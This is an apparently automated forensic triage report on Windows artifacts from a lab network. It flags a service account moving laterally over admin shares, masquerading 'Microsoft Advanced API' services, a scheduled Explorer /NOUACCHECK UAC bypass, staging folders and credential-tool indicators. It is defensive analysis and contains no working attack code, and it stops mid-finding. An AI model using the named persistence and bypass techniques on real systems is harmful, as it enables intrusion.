• Why it matters: A service account should not be interactively browsing admin shares across the enterprise; this pattern is consistent with attacker reconnaissance, data discovery, and staging from a compromised account.
• Alternative explanation: A systems administrator or backup operator legitimately used the spsql account to verify backup contents across multiple servers.
• Verify: Cross-reference Windows Security Event IDs 4624/4648/4769 and SMB session logs on 172.16.4.5, 172.16.4.6, and the workstation subnets to confirm spsql logon type, source host, and session duration.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Cross-user file access and local staging directory interaction: spsql opened Microsoft Word documents located in tdungan’s OneDrive profile, and spsql accessed local directories C:\Windows\Temp\Perfmon\Research and C:\Windows\Temp\Perfmon\Tax Returns on BASE-RD-01.
• Evidence: Rows 105–106 (username spsql, application_name Quick Access, local_base_path C:\Users\tdungan\OneDrive - Stark Research Labs\Research\A_review_on_application_of_carbonaceous_materials_clean_ADS_041109.doc and carbonadium-info.doc, lnk_mtime 2018-08-28T21:46:06.217831+00:00); Rows 164–165 (username spsql, application_name Microsoft Word 2016 64-bit, same tdungan file paths, lnk_mtime 2018-08-28T21:45:57.945143+00:00); Row 117 (local_base_path C:\Windows\Temp\Perfmon\Research, lnk_mtime 2018-09-05T14:29:22.397907+00:00); Row 119 (local_base_path C:\Windows\Temp\Perfmon\Tax Returns, same lnk_mtime).
• Why it matters: A service account accessing another user’s cloud-synced research documents and non-standard Temp subdirectories suggests privilege abuse or account compromise, with potential data staging.
• Alternative explanation: IT support performed file recovery or migration using the spsql account.
• Verify: Examine NTFS access logs and current contents of C:\Windows\Temp\Perfmon on BASE-RD-01; check spsql group memberships and recent password resets.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Sensitive project targeting correlation: The spsql account browsed backup folders containing codenamed projects (Project Mayhem, Project P.E.G.A.S.U.S, StarkExpo, MH_Eyes_Only, Targets), and user tdungan independently opened a SharePoint document titled CONFIDENTIAL - Project Mayhem [Autosaved].pptx.
• Evidence: spsql rows 140, 144, 145, 149, 151 (lnk_net_name \\172.16.4.6\C$, paths under Windows\Logs\WindowsServerBackup\7.11); tdungan row 63 (application_name Microsoft PowerPoint 2016 64-bit, lnk_name https://starkresearchlabs-my.sharepoint.com/.../CONFIDENTIAL%20-%20Project%20Mayhem%20%5bAutosaved%5d.pptx, lnk_mtime 2018-08-27T19:11:43.725761+00:00).
• Why it matters: The overlap in sensitive project names between tdungan’s legitimate document access and spsql’s anomalous backup browsing suggests targeted collection of restricted research.
• Alternative explanation: Both users coincidentally accessed common business files related to ongoing projects.
• Verify: Review SharePoint audit logs for tdungan and backup access logs on 172.16.4.6 for spsql to confirm scope of access to these project folders.

Data Gaps

• DestList entry order, access counts, and pin status are absent from the provided projection, preventing precise ranking of which entries were most recently or frequently used.
• Windows Security Event Logs (4624, 4625, 4648, 4768, 4769) and SMB server/session logs from the remote hosts are not available, so the logon type (interactive vs. network), authentication source, and exact session boundaries for spsql cannot be determined.
• Prefetch, Amcache, or ShimCache artifacts were not provided, preventing correlation of explorer.exe execution context under the spsql user profile.
• NTFS USN Journal or MFT data for C:\Windows\Temp\Perfmon is absent; it is unknown whether files were created, modified, or deleted in these apparent staging directories.
• The identical lnk_mtime, lnk_atime, and lnk_ctime values shared across large entry groups (e.g., 57 spsql entries with lnk_mtime 2018-09-05T14:29:22.397907+00:00) may reflect Jump List container file timestamps rather than individual embedded LNK timestamps, limiting sub-second behavioral sequencing.
• No Jump List or event data from other hosts in the environment was provided, so the full scope of spsql lateral movement and whether similar Perfmon directories exist on remote systems cannot be confirmed.

Findings

• [SEVERITY: LOW] [CONFIDENCE: LOW] Account spsql (name suggestive of a SQL service account) has interactive-session artifacts for PowerShell ISE and Edge Browser, indicating an interactive user logon.
• Evidence: row_ref 36 (C:\Users\spsql\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk, lnk_mtime 2018-09-05T12:18:02.649437+00:00); row_ref 37 (C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe, lnk_mtime 2018-09-05T12:18:02.649437+00:00); row_ref 39 (Edge Browser, lnk_mtime 2018-08-28T21:46:13.774725+00:00). All artifacts reside under C:\Users\spsql\....
• Why it matters: Service accounts are typically non-interactive; interactive sessions—especially with administrative tools like PowerShell ISE—may indicate unauthorized use, credential compromise, or attacker preference for service accounts to blend in.
• Alternative explanation: A database administrator may have legitimately logged on interactively with the SQL service account to perform maintenance or troubleshooting.
• Verify: Correlate with Windows Security Event Log Event ID 4624 for account spsql around 2018-08-28 and 2018-09-05 to confirm interactive logon type (Type 2 or 10), source IP, and workstation name.

Data Gaps

• No suspicious execution paths observed: No LOLBins with encoded commands, no targets in Temp, Downloads, or Public, no UNC/administrative share paths, and no known malicious utilities in the 21 records.
• PowerShell entries for tdungan (rows 7, 8) and spsql (rows 36, 37) have empty lnk_arguments fields, so malicious invocation (e.g., -enc, -ep bypass) cannot be ruled out or confirmed from this artifact alone.
• CustomDestinations do not prove execution or establish precise execution times; confirmation requires correlation with Prefetch, Amcache, UserAssist, SRUM, or Windows Event Logs.
• AutomaticDestinations (DestList) are absent, so MRU/MFU recency metadata that would clarify access frequency is unavailable.
• Network identifiers (lnk_net_name, lnk_device_name) are empty across all rows, preventing identification of remote targets or mapped drives.
• Nineteen rows were removed during deduplication; the full temporal density of repeated entries is lost.
• This artifact provides no visibility into credential-access tooling, persistence mechanisms, or lateral-movement techniques (e.g., no Mimikatz artifacts, no remote service creation, no scheduled tasks).

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Account spsql performed extensive lateral movement via administrative C$ shares to at least nine remote hosts, including what appears to be the Domain Controller (base-dc, 172.16.4.6), a file server (172.16.4.5), and multiple internal workstations/RDS hosts.
• Evidence: spsql browsed \\172.16.4.5\c$ (row 11), \\base-dc\c$ (row 18), \\172.16.4.6\c$ (row 20), \\172.16.6.11\c$ (row 34), \\172.16.6.14\c$ (row 39), \\172.16.6.12\c$ (row 44), \\172.16.7.15\c$ (row 49), \\172.16.7.11\c$ (row 54), \\172.16.7.13\c$ (row 59), and \\172.16.4.4\c$ (row 64). Subsequent FILE_ENTRY rows show deep traversal under each share (e.g., rows 12‑16, 21‑32, 35‑37, 40‑42, 45‑47, 50‑52, 55‑57, 60‑62, 65‑67).
• Why it matters: Broad remote admin share access across the fleet is a primary indicator of Windows network intrusion and lateral movement.
• Alternative explanation: Enterprise software deployment or inventory scanning by a systems administrator.
• Verify: Correlate with Windows Security Event IDs 4624/4648 and SMB session logs for spsql authentications to each target IP.

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] spsql browsed sensitive data stores, another user’s local profile, and non-standard staging directories on multiple remote systems.
• Evidence: spsql accessed C:\Users\tdungan (row 140), C:\Users\tdungan\OneDrive - Stark Research Labs (rows 141‑144), \\172.16.4.5\shieldbase-share\Case Files\Project P.E.G.A.S.U.S (row 10), \\base-dc\c$\$recycle.bin (row 174), \\172.16.4.4\c$\Windows\System\Backup\registry (row 240) and \Active Directory (row 241), plus anomalous subfolders under \\172.16.4.6\c$\Windows\Logs\WindowsServerBackup such as \6.11\Research (row 188), \6.12\Metal Alloys (row 191), \7.11\Archive (row 195), \7.13\Case Files (row 197), and \4.04\Active Directory (row 199). Locally, spsql also browsed C:\Windows\Logs\SysBackup\New folder (row 154) and \06-11` (row 155).
• Why it matters: Access to user profiles, sensitive project shares, the DC recycle bin, registry/AD paths, and atypical subfolders inside backup directories indicates credential harvesting, collection, and likely data staging.
• Alternative explanation: Advanced troubleshooting or internal red-team activity.
• Verify: Inspect MFT/USN records on affected hosts to determine if these folders contain compressed, encrypted, or recently written files.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Identically-named perfmon directories inside C$\Windows\Temp were browsed by spsql on this host and at least seven remote hosts.
• Evidence: Local: C:\Windows\Temp\Perfmon (row 147) and C:\Windows\Temp\Perfmon\Research (row 148). Remote: \\172.16.4.5\c$\Windows\Temp\perfmon (row 14), \\172.16.4.6\c$\Windows\Temp\perfmon (row 32), \\172.16.6.11\c$\Windows\Temp\Perfmon (row 37) and \Perfmon\Research (row 180), \\172.16.6.14\c$\Windows\Temp\Perfmon (row 42), \\172.16.6.12\c$\Windows\Temp\perfmon (row 47) and \perfmon\Metal Alloys (row 212), \\172.16.7.15\c$\Windows\Temp\perfmon (row 52) and subfolders \sp, \c, \a (rows 218‑220), \\172.16.7.11\c$\Windows\Temp\perfmon (row 57) and subfolders \Proposed Projects, \k, \Archive (rows 226‑228), \\172.16.7.13\c$\Windows\Temp\perfmon (row 62) and \Case Files (row 234).
• Why it matters: Windows\Temp\perfmon is not a standard Windows performance log path; its repeated appearance across many hosts strongly suggests a standardized attacker staging or toolkit directory.
• Alternative explanation: Custom enterprise monitoring agent using a non-standard temp path.
• Verify: Recover directory contents from MFT and scan files within each C:\Windows\Temp\perfmon for malware, credential tools, or matching hashes.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] A burst of coordinated directory enumeration by spsql occurred on 2018‑09‑05 across numerous remote systems.
• Evidence: FILE_ENTRY timestamps clustered on 2018‑09‑05 between 12:20 UTC and 14:28 UTC: 12:20 (row 174), 12:27 (rows 67, 199, 240, 241), 12:33 (row 66), 13:02 (row 41), 13:08 (row 36), 13:09 (rows 46, 61), 13:10 (rows 152‑153), 13:14 (rows 154‑155), 13:16 (rows 13, 24), 13:17 (row 51), 13:19 (row 25), 13:20 (rows 26, 56), 13:21 (row 27), 13:22 (row 28), 13:23 (row 29), 13:26 (row 30), 13:40 (row 31), 14:06 (row 13), 14:23 (row 15), 14:28 (row 171). This activity touched at least nine distinct hosts plus local paths.
• Why it matters: Near‑simultaneous browsing of admin shares on many hosts is consistent with automated or manual attacker reconnaissance rather than ad‑hoc administration.
• Alternative explanation: A centralized systems management script that triggered Explorer shellbags via automated logon.
• Verify: Cross‑reference the exact timestamps with Windows Security event log network logon records to confirm interactive vs. network sessions.

Data Gaps

• ts_atime and ts_btime are absent for all records; only ts_mtime is present, which may reflect directory modification time rather than the moment of first access or viewing.
• Shellbags record Explorer folder views only—they do not capture process execution, command‑line activity, file read/write operations, or logon type, so malicious tool execution or actual data exfiltration cannot be confirmed from this artifact alone.
• No Windows Security Event Log, SMB session log, Prefetch, or USN Journal data is available to correlate these folder views with authentications, network sessions, or file system changes.
• The intended purpose of the spsql account (service vs. interactive admin) is unknown; without logon metadata, it is not possible to distinguish a compromised service account from legitimate administrative use based solely on shellbags.
• Absence of shellbag entries for paths accessed via non‑Explorer means (e.g., cmd.exe, PowerShell, or remote tools) means attacker activity through those channels would not appear here.

Findings

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Custom local account "range_admin" (RID 1003) present with no recorded logons and a password set months after the account key timestamp.
• Evidence: row_ref 6, ts 2018-05-04T22:14:19.395981+00:00, username range_admin, rid 1003, flags 528, logins 0, lastlogin 1601-01-01T00:00:00+00:00, lastpasswordset 2018-08-19T03:59:36.898315+00:00.
• Why it matters: Locally created accounts with administrative-sounding names and zero interactive logons are a common persistence technique; the August 2018 password change well after the May 2018 key timestamp is anomalous.
• Alternative explanation: The "range" prefix suggests this may be an intentionally provisioned administrator account for a lab or cyber range environment.
• Verify: Check SAM Groups artifact for local Administrators group membership (RID 1003); correlate with Security EVTX Event ID 4720 on 2018-05-04; confirm with system owners whether the account is authorized.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Built-in Administrator and custom "range_admin" account passwords changed 27 seconds apart on the same day.
• Evidence: row_ref 1, lastpasswordset 2018-08-19T04:00:03.129078+00:00 (Administrator); row_ref 6, lastpasswordset 2018-08-19T03:59:36.898315+00:00 (range_admin).
• Why it matters: Near-simultaneous password changes across the built-in Administrator and a non-default local account may indicate scripted credential manipulation, bulk attacker password resets, or coordinated account takeover.
• Alternative explanation: A legitimate administrator or provisioning script may have reset passwords for multiple accounts in quick succession.
• Verify: Pull Security EVTX for Event IDs 4723 and 4724 around 2018-08-19T03:59–04:00 UTC to identify the originating session/user.

• [SEVERITY: LOW] [CONFIDENCE: LOW] Failed logon attempt against disabled Guest account observed months after other account key activity.
• Evidence: row_ref 2, lastincorrectlogin 2018-08-25T19:48:36.942221+00:00, failedlogins 1, flags 533 (account disabled).
• Why it matters: Authentication attempts against disabled built-in accounts can indicate brute-force, password spraying, or lateral movement tooling attempting to use common credentials.
• Alternative explanation: A single failed attempt is commonly incidental scanning noise, user error, or a misconfigured script.
• Verify: Review Security EVTX for Event ID 4625 targeting the Guest account on 2018-08-25 and inspect for surrounding failed logon clusters against other local accounts.

Data Gaps

• Group memberships: This artifact does not include local group memberships; it is not possible to confirm whether "range_admin" (RID 1003) or any other account is a member of the Administrators group without the SAM Groups artifact or comparable group data.
• Account creation provenance: The ts field most likely reflects registry key last-write time rather than strict creation time. Without Security EVTX (Event ID 4720), the exact creation time and creating user/session for RID 1003 cannot be confirmed.
• Deleted accounts: RIDs 1001 and 1002 are absent between defaultuser0 (1000) and range_admin (1003). This artifact provides no deletion history or transaction log data to determine whether prior accounts were removed to hide persistence.
• Post-timeline activity: The lastpasswordset values for Administrator and range_admin (August 2018) and the Guest failed logon (August 2018) occur after the latest registry key timestamps present (May 2018). Without system event logs or a validated timeline, it is unclear whether this represents activity after the imaging window, clock skew, or registry update behavior.
• Missing logon detail: The artifact only provides last logon timestamp and count. Full interactive/network logon history, source IP/workstation, and logon type required for lateral-movement analysis reside in the Security EVTX logs, which are not present here.
• Absent profile metadata: Fields such as profile path, logon script, or home directory are not included in this extract; malicious configuration in those fields cannot be assessed.

Findings
Nothing suspicious detected in this artifact.

Data Gaps

• Stale temporal coverage: The artifact contains only 2 network profiles spanning May–September 2018. No records exist for the ~8-year period between the last profile connection (2018-09-06) and the current investigation date (2026-06-13). If the suspected compromise occurred recently, this artifact provides no relevant coverage.
• No user or process attribution: NetworkList profiles do not record which user was connected, what processes generated traffic, or whether credentials were accessed. Privilege escalation, Mimikatz-like activity, and suspicious execution cannot be assessed from this data.
• Potential profile deletion or grooming: Only expected domain profiles (shieldbase.lan) are present. The absence of transient, public, VPN, or rogue network profiles may reflect legitimate controlled connectivity, but it may also indicate deleted or cleared registry entries. There is no evidence one way or the other.
• Limited scope for lateral movement/exfiltration: This artifact records profile existence and last-connection timestamps but does not prove active traffic, data staging, or cross-host movement. Correlation with SRUM, WLAN auto-config events (Event ID 8001/8003), DHCP/DNS logs, VPN sessions, and firewall/proxy logs is required to evaluate actual network behavior.
• Lack of baseline for comparison: An approved network inventory (expected gateway MACs, DNS suffixes, and signatures) was not provided, so while the observed values are domain-consistent, deviation cannot be fully ruled out.

Findings

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Uncommon machine-wide startup script (LARIAT Actuator) registered in an HKLM Run key.
• Evidence: row_ref 3, ts 2018-06-01T02:42:20.818747+00:00, name LARIAT Actuator, command (executable='C:\Program', args=['Files (x86)\\Lincoln\\LARIAT\\tools\\lariat.cmd']), key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run. The split fields imply the intended target is C:\Program Files (x86)\Lincoln\LARIAT\tools\lariat.cmd.
• Why it matters: Batch scripts launched from machine-scope Run keys are atypical for standard enterprise software and provide all-user persistence; the uncommon application name cannot be confirmed as authorized without a baseline.
• Alternative explanation: Legitimate Lincoln/LARIAT industrial automation software that requires a startup actuator script.
• Verify: Inspect the contents of lariat.cmd, validate the file hash/digital signature, and cross-check against the organization’s software inventory.

• [SEVERITY: LOW] [CONFIDENCE: MEDIUM] Domain administrator account configured with a persistent user-level OneDrive background process.
• Evidence: row_ref 14, ts 2018-05-08T14:43:49.403826+00:00, name OneDrive, command (executable='C:\Users\administrator.shieldbase\AppData\Local\Microsoft\OneDrive\OneDrive.exe', args=['/background']), username administrator.shieldbase, key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
• Why it matters: A cloud-sync client persisting under a privileged domain account on an RDS host raises scoping concern; if the account is compromised or misused, OneDrive could facilitate data staging or exfiltration.
• Alternative explanation: The administrator may legitimately use OneDrive for file access during interactive sessions.
• Verify: Correlate with Windows Event Log interactive logon events for administrator.shieldbase and review OneDrive sync logs and folder contents for unauthorized data.

Data Gaps

• Execution vs. presence: This artifact is a registry snapshot; it cannot confirm whether any of the listed programs actually executed, nor whether RunOnce entries (row_ref 15–17) already ran and should have self-deleted.
• File integrity unknown: No hashes, digital signatures, or metadata are included for the referenced executables or scripts (e.g., OneDrive.exe, lariat.cmd), so trojanized or replaced binaries cannot be ruled out.
• Temporal coverage: The dataset spans May–August 2018. Absence of entries outside this window does not exclude earlier compromise persistence or later cleanup.
• No baseline: Without an authorized software inventory for BASE-RD-02, benign corporate tools cannot be firmly distinguished from unauthorized additions.
• No direct credential-access or LOLBin evidence: No entries reference Mimikatz, encoded PowerShell, rundll32, regsvr32, or other common credential-access/evasion tooling in this artifact.

Findings

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Scheduled task configured to execute Explorer.exe with a UAC-bypass flag as a persistent privileged action.
• Evidence: task_path C:\WINDOWS\system32\tasks\CreateExplorerShellUnelevatedTask (row_ref 4) with author ExplorerShellUnelevated, enabled for user_id shieldbase\Administrator, hidden False; action row_ref 5 specifies action_type Exec, command C:\WINDOWS\Explorer.EXE, and arguments /NOUACCHECK. The date field for this task is empty.
• Why it matters: Running Explorer.exe /NOUACCHECK from a scheduled task is a documented UAC bypass and persistence technique that allows elevated code execution while evading consent prompts under a domain administrator account.
• Alternative explanation: None credible; this task name, author string, and parameter combination do not correspond to any legitimate Windows system maintenance function.
• Verify: Inspect the task XML file on disk for an embedded creation timestamp and trigger definition; search the Security EVTX for Event IDs 4698/4702; correlate with EDR/Sysmon telemetry for any Explorer.EXE process creation with the /NOUACCHECK argument.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Multiple non-Microsoft scheduled tasks executing batch scripts from a common third-party directory as Local System.
• Evidence: row_ref 14/15 (\LARIAT Provider, date 2018-05-07T15:29:08+00:00, author shieldbase\BASE-RD-02$, action Exec, command "C:\Program Files (x86)\Lincoln\LARIAT\tools\LariatProvider.bat", user_id S-1-5-18); row_ref 17/18 (\LARIAT Watchdog, same date/author, command "C:\Program Files (x86)\Lincoln\LARIAT\tools\lariat-check.bat"); row_ref 41/42 (\VMTools Watchdog, same date/author, command "C:\Program Files (x86)\Lincoln\LARIAT\tools\vmtools-check.bat").
• Why it matters: Batch scripts running as SYSTEM from a non-standard directory are a common persistence vector and could indicate unauthorized administrative tooling if the directory or files are writable.
• Alternative explanation: These tasks likely belong to legitimate lab or cyber-range infrastructure management tools, consistent with the host naming (BASE-RD-02) and rangeadmin accounts observed elsewhere in the data.
• Verify: Validate whether C:\Program Files (x86)\Lincoln\LARIAT\ is part of the authorized baseline image; inspect the .bat file contents, hashes, and directory ACLs for signs of tampering.

Data Gaps

• No execution history: The last_run_date column is empty for all 671 records, so it is impossible to determine whether the suspicious CreateExplorerShellUnelevatedTask or any other task has ever executed.
• Missing creation timestamps: The date field is absent for the majority of tasks, including the high-suspicion Explorer task, preventing timeline correlation with a potential incident window.
• No trigger metadata: Schedule/trigger details (e.g., at-logon, at-boot, daily) are not present in the extracted columns, so persistence cadence and risk cannot be fully assessed from this artifact alone.
• No execution audit trail: Static task definitions cannot confirm runtime behavior; Task Scheduler Operational logs, Security Event IDs 4698/4699/4702, and EDR/Sysmon process creation data are needed to verify if these tasks have been triggered.
• Deduplication limits: 344 rows were removed as timestamp/ID-only duplicates, which may obscure repeated task modifications or updates that could indicate tampering.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Two masquerading auto-start services, “Microsoft Advanced API 32” and “Microsoft Advanced API 64”, run as LocalSystem from non-standard directories using executable names that mimic Windows system components.
• Evidence: row_ref 248, ts 2018-05-08T21:13:34.932833+00:00, name Microsoft Advanced API 32, imagepath C:\Program Files (x86)\Microsoft Advanced API 32\msadvapi2_32.exe, start Auto Start (2), objectname LocalSystem; row_ref 249, ts 2018-05-08T21:13:16.604544+00:00, name Microsoft Advanced API 64, imagepath C:\Program Files (x86)\Microsoft Advanced API 64\msadvapi2_64.exe, start Auto Start (2), objectname LocalSystem.
• Why it matters: These provide persistent, privileged execution via fake Microsoft-branded services and are highly consistent with attacker persistence tooling.
• Alternative explanation: None plausible; these exact service names and paths do not correspond to any known legitimate Microsoft or common third-party software.
• Verify: Collect and hash both executables; check for valid digital signatures; review EVTX Event ID 7045 and Security logs around 2018-05-08 21:13 UTC.

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Suspicious kernel driver “mnemosyne” resides in the Windows root directory with no display name or description.
• Evidence: row_ref 253, ts 2018-09-07T04:20:27.009443+00:00, name mnemosyne, imagepath \??\C:\windows\Mnemosyne.sys, type Kernel Device Driver (0x1), start Manual (3).
• Why it matters: Unnamed kernel drivers placed directly in C:\windows are a common sign of rootkits or malicious kernel-mode persistence, granting attackers deep control over the OS.
• Alternative explanation: Could be an undocumented third-party driver, but the lack of metadata and unusual mythological name makes this unlikely.
• Verify: Hash and reverse-engineer Mnemosyne.sys; check driver signature; correlate with System/Operational EVTX for driver load events and any associated service creation (Event ID 7045).

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Auto-start “F-Response Subject” service is configured for remote network connectivity to an internal host, running as LocalSystem.
• Evidence: row_ref 119, ts 2018-09-06T19:03:44.712221+00:00, name F-Response Subject, imagepath C:\windows\subject_srv.exe, imagepath_args -s "base-hunt.shieldbase.lan:5682" -l 3262 -v "F-Response Subject" -k "155522845", start Auto Start (2), objectname LocalSystem.
• Why it matters: Provides remote, privileged access to the host; if unauthorized, it functions as a full backdoor into the system.
• Alternative explanation: F-Response is a legitimate forensic remote acquisition tool; the target name base-hunt and the late timestamp suggest it may have been deployed by the incident response/hunt team.
• Verify: Confirm with incident response leads whether F-Response was authorized for collection on this host; if unauthorized, contain immediately and investigate lateral movement via the host’s 172.16.6.12 / 10.10.150.180 interfaces.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Auto-start third-party service “LARIAT” uses the Apache Commons Daemon (prunsrv.exe) to run as LocalSystem from an uncommon path.
• Evidence: row_ref 207, ts 2018-05-07T19:29:08.812696+00:00, name LARIAT, imagepath C:\Program Files (x86)\Lincoln\LARIAT\tools\prunsrv.exe, imagepath_args //RS//LARIAT, start Auto Start (2), objectname LocalSystem.
• Why it matters: Non-standard auto-start services with generic Java service wrappers can be used for persistence or to host malicious payloads.
• Alternative explanation: May be a legitimate Lincoln line-of-business or industrial application.
• Verify: Validate whether Lincoln LARIAT is an authorized application; inspect the LARIAT configuration and associated JAR/binaries for anomalies.

• [SEVERITY: MEDIUM] [CONFIDENCE: LOW] NetGroup Packet Filter driver (**npf**) is installed and set to auto-start, enabling kernel-level packet capture.
• Evidence: row_ref 314, ts 2018-05-08T21:13:34.651581+00:00, name npf, displayname NetGroup Packet Filter Driver, imagepath system32\drivers\npf.sys, start Auto Start (2), type Kernel Device Driver (0x1).
• Why it matters: Attackers can leverage packet capture drivers to harvest credentials and perform network reconnaissance.
• Alternative explanation: Routinely installed with Wireshark, Nmap, or WinPcap for legitimate network diagnostics.
• Verify: Check if Wireshark/Nmap is installed and authorized; review user activity around 2018-05-08 21:13 UTC.

Data Gaps

• No runtime state: This artifact does not indicate whether any service or driver is currently running (RUNNING/STOPPED), so active malicious execution cannot be confirmed from services data alone.
• Missing executable metadata: No file hashes, digital signature status, or PE compile times are included here; those are required to confirm the nature of msadvapi2_32.exe, msadvapi2_64.exe, and Mnemosyne.sys.
• No install audit trail: The ts values likely reflect registry last-write times rather than precise installation times. Corresponding EVTX Event ID 7045 (service creation) and Security/Setup logs are needed to establish exact installation vectors and originating user accounts.
• Quoted-path vulnerability: The raw registry string values (including surrounding quotes) are not preserved distinctly from argument splitting in this CSV, so unquoted service path attacks cannot be assessed.
• Limited correlation scope: Without process memory, network connections, Prefetch, or scheduled tasks, it is not possible to determine if these services have been actively used for lateral movement, credential access, or exfiltration.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Masquerading attacker tooling staged under fake “Microsoft Advanced API” directories and an “install_wormhole” folder.
• Evidence: Row 305, last_modified=2018-05-08T21:13:21+00:00, path=C:\ProgramData\staging\install_wormhole\install_msadvapi2_32.exe; Row 313, last_modified=2018-05-08T21:13:01+00:00, path=C:\ProgramData\staging\install_wormhole\install_msadvapi2_64.exe; Row 298, 2018-03-02T20:43:58, C:\Program Files (x86)\Microsoft Advanced API 32\msadvapi2_32.exe; Row 306, 2018-03-02T20:42:22, C:\Program Files (x86)\Microsoft Advanced API 64\msadvapi2_64.exe; Row 314, 2018-05-08T21:12:46, C:\ProgramData\staging\7za.exe; plus associated temp installers Rows 304, 312 and bundled Nmap/WinPcap and VC redist packages Rows 300, 301, 309, 310.
• Why it matters: The filenames and directories deliberately mimic Microsoft products; the “install_wormhole” path, 7za.exe, and Nmap components indicate attacker staging for reconnaissance, lateral movement, or data collection.
• Alternative explanation: None plausible; these are not legitimate Microsoft paths or packages.
• Verify: Obtain file hashes and check reputation; review Windows Security/System/Application event logs and any available Sysmon or antivirus logs between 2018-02-26 and 2018-05-08 for execution or installation evidence.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Suspicious SystemInit-dev.exe dropped on the Administrator Desktop and later installed as a program named “SystemInit”.
• Evidence: Row 459, last_modified=2018-03-12T22:07:08+00:00, path=C:\Users\Administrator\Desktop\SystemInit-dev.exe; Row 460, 2018-03-12T22:07:08, path=SIGN.MEDIA=1E6CC1C SystemInit-dev.exe; Row 344, 2018-05-04T22:12:41, C:\Program Files\SystemInit\unins000.exe; Rows 444 and 445, 2018-05-04T22:12:41, C:\Users\Administrator\AppData\Local\Temp\is-D57RB.tmp\SystemInit-dev.tmp.
• Why it matters: The name masquerades as a Windows system process, was placed in the built-in Administrator profile, and appears to have been installed; strongly indicates a malicious payload or persistence mechanism.
• Alternative explanation: Custom internal tool with an extremely poor naming convention.
• Verify: Hash the file and check threat intelligence; examine Prefetch, Amcache, and EVTX (System/Security/Application) around 2018-03-12 and 2018-05-04 for execution, service creation, or autorun activity.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Unknown executable subject_srv.exe present in the Windows root directory.
• Evidence: Row 1, last_modified=2018-04-10T19:29:48+00:00, path=C:\windows\subject_srv.exe.
• Why it matters: A non-standard executable dropped directly into C:\Windows is a common attacker persistence or backdrop location and does not match standard software packaging.
• Alternative explanation: Poorly packaged in-house or third-party utility.
• Verify: Check the file hash against threat intel; search the Registry and Service Control Manager events for a service named “subject_srv” or similar; corroborate with Prefetch.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Unknown executable sd.exe placed under a temporary perfmon directory.
• Evidence: Row 2, last_modified=2017-09-29T13:42:09.954626+00:00, path=c:\windows\temp\perfmon\sd.exe.
• Why it matters: A short, non-descriptive filename in a temporary path is consistent with renamed attacker utilities or credential/access tools.
• Alternative explanation: Legitimate troubleshooting binary left over from system provisioning (timestamp aligns with many OS binaries).
• Verify: Corroborate with Prefetch and process creation logs; determine the file hash and original internal name if signed.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] NirSoft BrowsingHistoryView.exe found in the Windows Temp directory.
• Evidence: Row 55, last_modified=2018-08-24T15:35:47.195112+00:00, path=c:\Windows\Temp\BrowsingHistoryView.exe.
• Why it matters: Browser history recovery tools are frequently used by intruders for situational awareness and data harvesting.
• Alternative explanation: Administrator downloaded the tool for legitimate troubleshooting or forensic use.
• Verify: Check browser history access timestamps and Security/Process Creation events around 2018-08-24.

• [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Sysinternals Autorunsc.exe present in the Windows directory.
• Evidence: Row 73, last_modified=2018-08-15T17:10:13.979748+00:00, path=C:\WINDOWS\Autorunsc.exe.
• Why it matters: Autoruns is commonly used by attackers to enumerate persistence mechanisms; placement in C:\WINDOWS is atypical for standard administrative tooling.
• Alternative explanation: Administrator copied Sysinternals utilities to the Windows directory for convenience.
• Verify: Search for associated autoruns output files and command-line arguments in process creation or PowerShell logs.

• [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Executable recovered from the built-in Administrator Recycle Bin.
• Evidence: Row 530, last_modified=2017-12-20T20:32:26.556479+00:00, path=C:\$Recycle.Bin\S-1-5-21-3204118025-1178511089-2137043725-500\$R21OX18.exe.
• Why it matters: An executable in the Administrator (RID 500) Recycle Bin may indicate a deleted payload or attacker tool.
• Alternative explanation: Administrator deleted an old or unwanted installer.
• Verify: Carve the Recycle Bin file and hash it; inspect the paired $I21OX18.exe index file for the original path and deletion timestamp.

Data Gaps

• Shimcache records presence on disk, not definitive execution, command lines, or process ancestry. Execution cannot be confirmed without corroboration from Prefetch, Amcache, or EVTX process creation events.
• The artifact provides file last-modified timestamps, not cache insertion times, so the exact sequence of when entries were observed by the OS is uncertain.
• No user context is associated with individual entries, so the principal responsible for placing or running the suspicious files cannot be determined from this artifact alone.
• 227 entries carry a last_modified of 1601-01-01T00:00:00, indicating missing/null timestamps (common for Windows Store appx entries), which limits temporal analysis for a large portion of the dataset.
• Credential access, privilege escalation, and lateral movement cannot be directly assessed: no Mimikatz-like filenames were observed, and while standard remote-management binaries (e.g., wsmprovhost.exe, mstsc.exe) are present, their inclusion here is expected on an RDS host and does not prove malicious use.
• Recommended follow-up artifacts: Prefetch, Amcache, Windows Security Event Log (4688/4689), Sysmon (Event IDs 1 and 7), System Event Log (service creation), Registry run keys/services, $MFT/$LogFile metadata, and Recycle Bin $I index files (especially for Row 530).

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Masquerading executables deployed in fake “Microsoft Advanced API” directories with no authenticode publisher metadata.
